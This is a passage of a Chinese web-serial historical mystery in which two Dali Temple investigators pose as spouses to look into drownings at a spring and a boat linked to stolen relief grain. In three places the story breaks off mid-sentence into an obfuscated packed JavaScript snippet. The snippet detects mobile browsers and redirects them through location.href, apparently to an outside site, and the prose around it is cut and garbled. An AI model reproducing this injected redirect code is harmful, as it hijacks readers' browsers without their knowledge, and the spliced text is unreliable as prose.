罗薇点点头:“也只能如此了,这个破地方我是一日都不想呆了!” 一阵轻笑声传来。 半明的天光中,顾纨提着一个灯笼缓缓而来。 罗薇开口就是一句。 “张菡萏不见了,你现在是能开心得笑出声。这样,就没人再能牵着你那个好表弟的鼻子走了!” 顾纨痛痛快快承认了。 “确实是呢,我对此十分乐见其成。谁让我家表弟像喝了迷魂汤一般,骂都骂不醒。” 罗薇被她的直接搞得愣了一下。 “你……”她微微弓起背,“张菡萏很可能死了,你这样说话,也不怕招惹嫌疑?难道是这一日的大牢没有蹲够,想来个二轮游?” 顾纨挑眉:“怎么?你又要血口喷人了?” “只是说了句真话。”罗薇笑了笑。 顾纨向前倾身,逼近她的脸。 “可据我所知,昨日,张菡萏还在众人面前辱骂你,焉知是不是你因此记恨所以才……” 这话戳得罗薇心口生疼。 “你等着吧!你以为你能有什么好下场!”她骂完一句,气冲冲走了。 顾纨看了一眼她的背影,转头对闻蝉说道:“你们不回去休息吗?” “我们还想再找找。” “有张家的人在,也不少那一个两个的,除了张敛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983158|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,别人都回去了,你们俩还傻乎乎在这儿出什么力?”顾纨将手上的灯笼塞给她,“天黑行路必须得拿着灯笼,快回去吧。” 闻蝉看着已经半亮的天色,有些懵。 “灯笼?” 顾纨摆摆手,转头离开。 “打着灯笼还给我就是了。” …… “呜!呜!呜呜!” 门外传来奇怪的人声还带着几声急促的琵琶声。 在屋内打盹的二人瞬间惊起。 “谁?” 郑观澜先缓过神:“琵琶,是郝回!” 想到郝回的特殊之处,二人急忙打开门。 郝回见到二人,眼睛瞬间红了。 “呜!呜!” 郑观澜按住他的肩膀:“别急!慢慢来,是不是出事了?” 郝回重重点头。 “是谁出事了?” 郝回拱起手,深深一拜,动作十分斯文。 “是张敛?” “嗯!” “出什么事了?” 郝回想了想,举起琵琶朝着空中虚空打去。 “张敛被打了?” 郝回连连点头,拽着着二人向前院跑去。 刚到大厅门口,还没进去,就听见罗薇的大喊声。 “张老板!你这是动私刑!张夫子可不是你的仆人,你凭什么这样打人!” 只见,张敛被几个仆人压在地上,张书华手里还举着藤条。 郝回凭借蛮力,直接推开那几个仆人。 “张老板,你这样实在不妥。”锦鸿急忙拦在张敛面前,“张小娘子的死是我们都不愿看到的。张夫子主管六姑社,没有功劳也有苦劳。如今出了事,他最是自责不过,你怎能还迁怒于他呢?” 郑观澜和郝回一起将张敛扶起。 张敛挨了好几下,衣裳被抽破,上面透出血迹,人还时不时抽搐一下。 “张老板若真心忧爱女之死,应当去衙门催着他们早日找到凶手,而不是在这里鞭笞他人。” 锦鸿的话像是起了几分作用,张书华的手慢慢放了下来。 他扔开藤条,朝着几人吼叫。 “那我的女儿呢?她本来好好的!你们都不知道吗?都没有看见吗?凶手,凶手,到底是谁!” 罗薇冷不丁说道:“张老板,这你就要自己去问问衙门,反正这种事也不是头一回了。” 张书华的面色唰的一下白了。 “你……” 罗薇侧身让开路,抬手道:“张老板,请吧。” 没想到,罗薇两句话就真打发走了张书华。 几人将张敛扶回房内休息。 他是个单身汉,无人照看,几人只能先留下。 锦鸿给他上着药。 “这个张老板往日里看着最是斯文不过,内里竟是个如此蛮横之人!下手真重啊。” 伤口很深,几乎是皮开肉绽的程度。 闻蝉问道:“张娘子真的死了?” 罗薇回答道:“嗯,方才发现了尸体后,张老板就发了疯,先是骂我们看管不力。张敛将责任都揽在自己身上,他就更生气了,直接抄起藤条打人。” “什么人啊……”闻蝉继续问道:“张小娘子的尸体不会也是在六姑泉找到的吧?” “是啊!还真是邪了门儿了!”锦鸿放下药瓶,“明明昨晚我们就在那水潭里打捞过,根本没有发现尸体,今日那么多人也是在六姑泉来来去去,都没发现什么可疑之处。怎么那尸体就像是从那水潭里冒出来似的。” “不仅如此。”罗薇一脸后怕,“张菡萏的脖子上也缠着头发。” “衙门的人来过了吗?” “来过了,验尸的仵作说是淹死的,昨晚子时左右被害。” “那不就是昨晚我们找人的时候吗?” 罗薇点头:“当时我们所有人都在六姑泉旁边。” 就连罗薇,都不去攀扯顾纨了。 这两起命案,实在过于离奇了。 62. 隐瞒之事 已经快要子时,闻蝉拿起灯笼,准备出门。 郑观澜本靠在榻上,见状坐了起来。 “这么晚了,你出门做甚?是要去找那个仵作吗?” 闻蝉摇头。 “那你要去哪儿?” “去找顾纨。” “顾纨?” 闻蝉转过头,灯笼一摇一摇的。 “一起?” 有个凶手还没捉住,郑观澜怎么也不可能放心她一个人夜间外出。 二人提着灯笼绕过巡逻的仆人朝着山下走去。 走了快一个时辰,才到了顾纨所在的茶庄。 茶庄的屋舍并不大,门也和普通人家似的,上面只挂着一个小小的牌匾,写着“顾宅”二字。 闻蝉上前敲了敲门。 “进来吧。”几乎是同时,顾纨的声音响起。 明显是一直等着他们。 门没有锁,轻轻一推就打开了。 而顾纨就站在小院中心。 她看了一眼闻蝉手里的灯笼,扬起一个笑。 “你来还灯笼?” 闻蝉将灯笼提了提。 “顾娘子特意嘱咐,我自然不敢忘。” “进来吧。”她招招手,转过身,带着二人朝里走去。 闻蝉扫了一眼这院子。 还真是内里藏秀。 从外面看上去平平无奇的屋舍,内里的院子却精巧得如同园林一般。 地面上铺着齐整干净的青石板,院子两边叠石垒成一座座缩小的起伏山脉。 不知何处而来的泉水经水车轮转,自石上泼下,如同瀑布一般。 坐在其中,和在山顶赏景又有何区别呢? 进入屋内,又复归平实。 黄褐色的古朴桌椅摆在正中,墙上挂着几副山水画,并非名家所出,只是随意草草几笔,看着就很敷衍。 “坐吧。”顾纨拿出一套白色瓷杯,给二人倒上水,“文夫人这么晚了来还灯笼?为何不早些来呢。” 闻蝉不想继续和她打哑迷了。 “这不是您自己约的时间吗?让我打着灯笼来还给你,这只有天黑行路才必须得拿着灯笼啊!” 顾纨只是笑。 “不过两句随口而出的话,你倒是想得很深。” “是随口而出还是反复思量,顾娘子自己心里明白。”闻蝉喝了一口水,“你特意叫我来究竟是为了何事?” 顾纨放下茶盏,笑容一敛。 “只是好奇,二位为何要扮作夫妻潜入六姑社?” 此言一出,二人都无法克制地慌了一下。 闻蝉吸了口气:“顾娘子,你这是什么话?” 顾纨指了指绷着脸的郑观澜。 “你们二人怎么看都不像是夫妻。有好几次,我都看见他想要伸手扶你又收了回去,若真是夫妻,会有这样的顾虑?况且,我听罗薇说起过,你们二人可是娃娃亲,自小一起长大,并非是盲婚哑嫁。” 闻蝉强装镇定。 “他就是这样的别扭性子,顾娘子误会了。” “是吗?”顾纨一脸的怀疑。 闻蝉佯装恼怒:“我和他是正经夫妻,婚书俱在,顾姐姐为何把我们说成什么心怀鬼胎之人!” 顾纨还是不为所动:“我不信。” 沉默持续了片刻,闻蝉忽然转过头,捧着郑观澜的脸,一口亲在他的脸侧。 啵! 响亮的声音在室内炸开。 郑观澜脑子一片空白,像是被雷击中一般。 闻蝉摊摊手:“你看,从来就这样,爱害臊。” 顾纨也没想到对方会如此证明二人的关系,呆了一下,旋即很快笑得前俯后仰,眼角泛泪,丝毫没有往日的端庄仪态。 “你太有趣了。” 郑观澜此时才稍稍回过神。 可他脑子一团乱,实在不知该如何配合,只别过视线,以免让对方发现自己过头的慌乱。 闻蝉扯起嘴角:“顾姐姐,你再笑下去,他害臊了回去又得和我闹。” 顾纨这才平复笑意。 “看来确实是我误会了。” 闻蝉撅嘴:“我和他怎么就不像夫妻了呢?” 顾纨瞟了一眼看不到表情的郑观澜。 “可能真的是因为他太害羞?” “哎呀!你就别说他了。”闻蝉拍了她一下。 生怕郑观澜忍不住坏事。 “你叫我来就为了这个?真是讨厌。” 顾纨摇摇头。 “是有事要和你说,只是怕你们并非普通人罢了。” “哦,什么事?和杨苗儿她们的死有关吗?” “是。”顾纨正色道,“其实,在五年前,也有人这样死去了。” 五年前?又是这个节点。 闻蝉不由严肃起来。 “是谁?” “玉映秋和姜仪。” “你不是说她们是被土匪所杀吗?” “不敢提。”顾纨轻轻叹出一口气,“那日早上,六姑泉忽然出现二人的尸体,尸体边上还飘着一大把一大把的头发,和杨苗儿二人的死状别无二致。当时,也有人说是毛女杀人,事发后不久,玉家和秋家就先后搬离,然而就是他们搬离那一日,刚刚出城就被土匪所害。几年过去,也没人再提什么毛女杀人的事,所有人都以为玉映秋和姜仪是和她们家人一起被害的。” 闻蝉心中很是激动,面上还是装出一脸迷茫。 “难道真是有妖怪?” “妖怪定然是假,但有人杀人定然是真。”顾纨劝道,“你们二人来得晚,和很多人很多事都没有牵扯,最好就此借机离开吧。” 又是一个劝他们离开的人? …… 一走出顾宅,闻蝉呸了好几口,用袖子反复抹了几下嘴。 郑观澜又羞又恼,涨红着脸质问她。 “你……你这是何意?!” 闻蝉咧咧嘴:“嫌弃你。” “明明就是你主动亲我的!”郑观澜被气得快要晕过去了,“你还嫌弃我?真是厚颜无耻!” 他还是第一次被女子亲,他不干净了…… 闻蝉理不直但气十足的壮。 “我嫌弃你不干净啊。” 谁知道被多少人亲过的。 郑观澜胸口发闷。 “我不干净也是被你弄脏的!” 闻蝉哼笑:“骗鬼呢!” 郑观澜不想再和她分辩清楚这种问题。 “你觉得顾纨说的是真是假?” “你看不出来?” “不像是假的,但也不全是真话。” “玉映秋和姜仪的死应当为真。罗薇对张书华说“这事也不是头一回”时,张书华明显十分慌乱,若单单只因为前头死了个杨苗儿,他不会那般慌。” “还有玉姜二人之死。相隔五年,死状相同。死因定然也有关联。会不会……” “杨家和张家也不受控制?那些人为了警告他们……” “比警告更严重。且不说杨苗儿,张菡萏是张家的独女。张书华年岁不小,不可能再有孩子,他们若真害死了张菡萏,就不怕张书华鱼死网破吗?” 闻蝉看向那日的黑松林。 “证据没有找到,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们也听说啦!”左宽眼睛都瞪圆了,“她们是五年前死的。本来这事儿我都快忘了,昨日才听见别人谁起的。说她们二人当时也是在六姑泉淹死的。但她们的尸体我并没有验过,听说是她们家里人直接带回去下葬了。” “当时潭水里也有头发?” “我听差役说,是有的,唯一的区别就是那头发是散在尸体边上,没有缠着脖子。” “你消息倒是灵通,我让你查的东西查到了吗?” “查到了!”左宽拍了拍胸口,“我请那些差役喝酒,套出不少话来。那日,萧御史的尸体是他们从下庙渡码头抬出来的,那出事的船一定也还在下庙渡!” “很好。”闻蝉继续给他画饼,“你之前的过失,本就是被逼无奈,算是情有可原,如今你如此配合大理寺办案,可见那事绝非你本意,这次回去后,我会帮你求情,保你无虞。” 左宽最担忧的就是这个! 按照律法,他至少都要被关几年,这案子涉及到的又是御史被害,一个不好,把他脑袋砍了也不是没有可能。 如今得了闻蝉的亲口承诺,他终于放下心。 “那个周赐在华州这么多年,不知做了多少天理难容的事!小的早看不惯他了!只是位卑身贱,只能自保。这次朝廷有意整饬,小的就是拼了性命也要帮二位上官将其绳之以法!” 63. 太平丰登 前方传来敲锣打鼓的喧闹之声,路两边站着密密麻麻的人群,中间的道路空出,仿佛在等待什么。 二人停下脚步,不敢再向前。 视线中,蓦地出现一片彩色,大红金黄,闪得眼睛疼。 锣鼓声逐渐近了,地上都传来微微的颤动。 闻蝉拉着郑观澜向路边一闪,站在了人群之中。 “这是?” 闻蝉无奈一笑。 “我们到底是运气好还是不好?竟然碰到了庙会?” 正说着,一条游龙就从二人面前划过。接着,又是一长串用红绿布罩着竹架制成的小小旱船,船上粘着许多花,看着十分喜庆,每一艘船中间都有一个滑稽打扮的人双手提着旱船向前走。 鼓的声音变小了,锣却变得更响亮,让人的情绪更加激昂起来。 一群七八岁的孩子,穿着红艳艳的衣裳骑着竹马呼啸而过。 闻蝉在人群中艰难穿梭:“我们只能慢慢走过去。” 郑观澜低低“嗯”了一声,视线却一直黏在路中央。 这一举动自然没有被闻蝉放过。 “你没见过庙会啊?” 郑观澜飞快反驳:“谁连庙会都没见过?” 闻蝉撇撇嘴:“那你就别盯着看呀。” “谁盯着看了!”郑观澜耳朵红通通的。 闻蝉咧嘴一笑。 “反正也要慢慢才能挤过去,你爱看就看呗,又不耽误事儿。” 哒哒哒…… 几辆挂着的骡车又跑过了旁边还围着一群赤膊壮汉,看着很是豪迈。 闻蝉眼睛都直了。 “哇……” 郑观澜一下恼了:“这有什么好看的?你知不知羞?” 闻蝉一脸莫名:“我看看骡车怎么就不知羞了?你知道这样好的一匹骡子多少银子吗?”她伸出大拇指,眼睛都鼓起来了,“至少得六两!还不算养骡子要的草料!” 郑观澜感觉如果此时他说“很便宜”,一定会让她骂人。 说不定还得掐他几下…… “哦……是吗?不算太便宜啊。” “是啊!我之前算过帐,我连驴都养不起。”她抱怨道,“大理寺也不给配马,每次办事真的很不方便……” 郑观澜这辈子都没有这种烦恼。 “不是有官马吗?” “你是说你才来的时候,少卿和你说的要给你分一匹官马的客气话吧?那是因为知道你肯定有马,不会要官马,他才那样说的,”闻蝉嘀嘀咕咕,“连我都没有,你还想有……” 郑观澜忍不住说道:“若当初真分给我一匹,你定然会找各种理由抢走。” 闻蝉爽快承认。 “对呀!” “厚脸皮……” 一个巨大的鼓缓缓移动,身后跟着装扮成神灵的艺人,他们戴着各色面具,云纹花脸,青面獠牙,黑面蝶纹,还有绘着繁复的日月星辰的黑金面具,看得人眼花缭花…… 路中央的庙会队伍逐渐消失,但路两边的人反而更多。 二人走得很是艰难。 不知挤了多久,路中间忽的出现几个人影。 仔细一看都是抱着孩子的父母跪在那里,零零散散的,看着莫名让人揪心。 “这些人怎么跪在路中?” 郑观澜的话音方落,几只舞狮蹦蹦跳跳跑到了那些人四周,跺了几下脚,从他们头顶跳过。 闻蝉解释道:“‘狮子卧,百病消。’。这是孩子得了重病,只能求助于神鬼之说。” 她的脸上没有往常提到神鬼之论的厌恶,反而更多的是同情。 郑观澜还是不理解:“可是没用啊。” “若有他路,谁会求助于飘渺的神呢?等你经历过就明白了。我爹娘也是不信这些的,但是我幼时生过一次重病,一直高热不退,他们抱着我到处去找在办庙会的地方,就为了求一个‘万一’。” 郑观澜眼神有些飘忽,一看就知道还是懵的。 “又傻又呆。”闻蝉笑了,牵起他的袖子,“走吧!” 来到下庙渡。 本该喧闹的码头却十分安静,只有几个人坐在那儿打着盹儿,船只在水上一摇一晃,十分清闲。 虽说下庙渡是不太繁华的码头,可此时已经将近午时,应当有许多船只停靠啊? “这是?”郑观澜左右看看,怕是有什么埋伏。 闻蝉很快反应过来。 她笑得牙都露出来了。 “我们运气真好,这些人定然是都去庙会凑热闹了!”她扫了一眼码头,将码头布局收入眼底,“我想,那艘出事的船,应当在废弃船只中。” 废弃的船只很显眼,就在码头右手边上的角落里。 七八艘或破或烂的船只,歪斜堆放在一起。 二人轻手轻脚绕过那几个船工走到废弃的船只边上。 只一眼,闻蝉就找到了里面唯一一艘红漆船。 这艘船被毁坏得最严重,分成了五块,断口整齐,是被人用斧子故意劈开的! 而在甲板上,两道显眼的抓痕刺入了闻蝉的眼中。 就是这一艘船了! 闻蝉紧紧咬着牙关,让自己不要发抖,用力记下这船的名字。 “锦霞舫。” “你来看看这个。”郑观澜踮起脚,在一个被砍下的船舱中捻起了些东西。 闻蝉凑近一看。 是发黄的稻米。 “粮食?” “是陈粮,若是我没认错,这应当是发下的赈灾粮。” “所以呢?” 郑观澜指向那船舱下的几个字。 “太平丰登号,是太平码头的船只,若是这船坏了怎么会在下庙渡呢?而且……今年发赈灾粮的粮仓就是西南方向的杜阳义仓,完全不需要走水路,直接陆路就能够运出。” 闻蝉虽不懂这些,但是话都说到这个份上了,她还是明白了对方在指控什么。 “他们把赈灾粮偷偷运走了?” “或许还不仅如此。萧散。萧散也发现了这一点,但他的行动一直在监控之中,所以他们顺势用这艘船引萧散上了船。” 闻蝉连连点头。 “有这个可能,那接下来……” “你们是什么人!” “在那儿干啥啊!” 不知何时,那几个船工已经醒了,气势汹汹朝着他们走来。 郑观澜将捏着粮食的手藏入袖中,强装镇定。 “你们就是此处的船工?” 那船工见二人穿戴普通,态度也不是很好。 “我不像船工?” 遇到这种人,郑观澜还真不知该如何打交道。 闻蝉接过话。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“回去后,我们先提出要离开的事,但不能立即离开,再拖延几日,借此机会,罗薇等人或许会对我们卸下心防,还能套出消息。我觉得罗薇知道的不少。” “罗薇?”郑观澜对此人的印象着实不好。 总是在她面前挑拨他们的夫妻…… 假扮夫妻的关系。 “罗薇的算学极其厉害,她还曾经对我谈及过杨家等几家的亏空,再联系她做了这么多年六姑社的夫子,靠她的本事,怎么也会掌握不少关于杨家等人在账目上的消息。还有……只有她和顾纨在六姑社呆的时间最长,对于玉、姜二人之死,她们才知情……” 闻蝉忽然停下话头,盯着不远处的一个人影。 郑观澜沿着她的视线望去。 一个宝蓝色的身影映入眼帘,花纹繁复的琵琶暴露了这人的身份。 “郝回?” “他昨晚不是说自己脚崴了吗?” 拐入小巷中的郝回动作飞快,哪里有半点不便利的样子? 郑观澜说道:“他一直有些……鬼鬼祟祟。” “啊?” “我撞见数次,他在六姑社中到处游荡,有次我问他为何到处走,他回答是想听人说话。我便不好再问。” 闻蝉眯起眼睛。 “他又是胡人……” 郑观澜会意。 “回去我会让人查查他的来历。”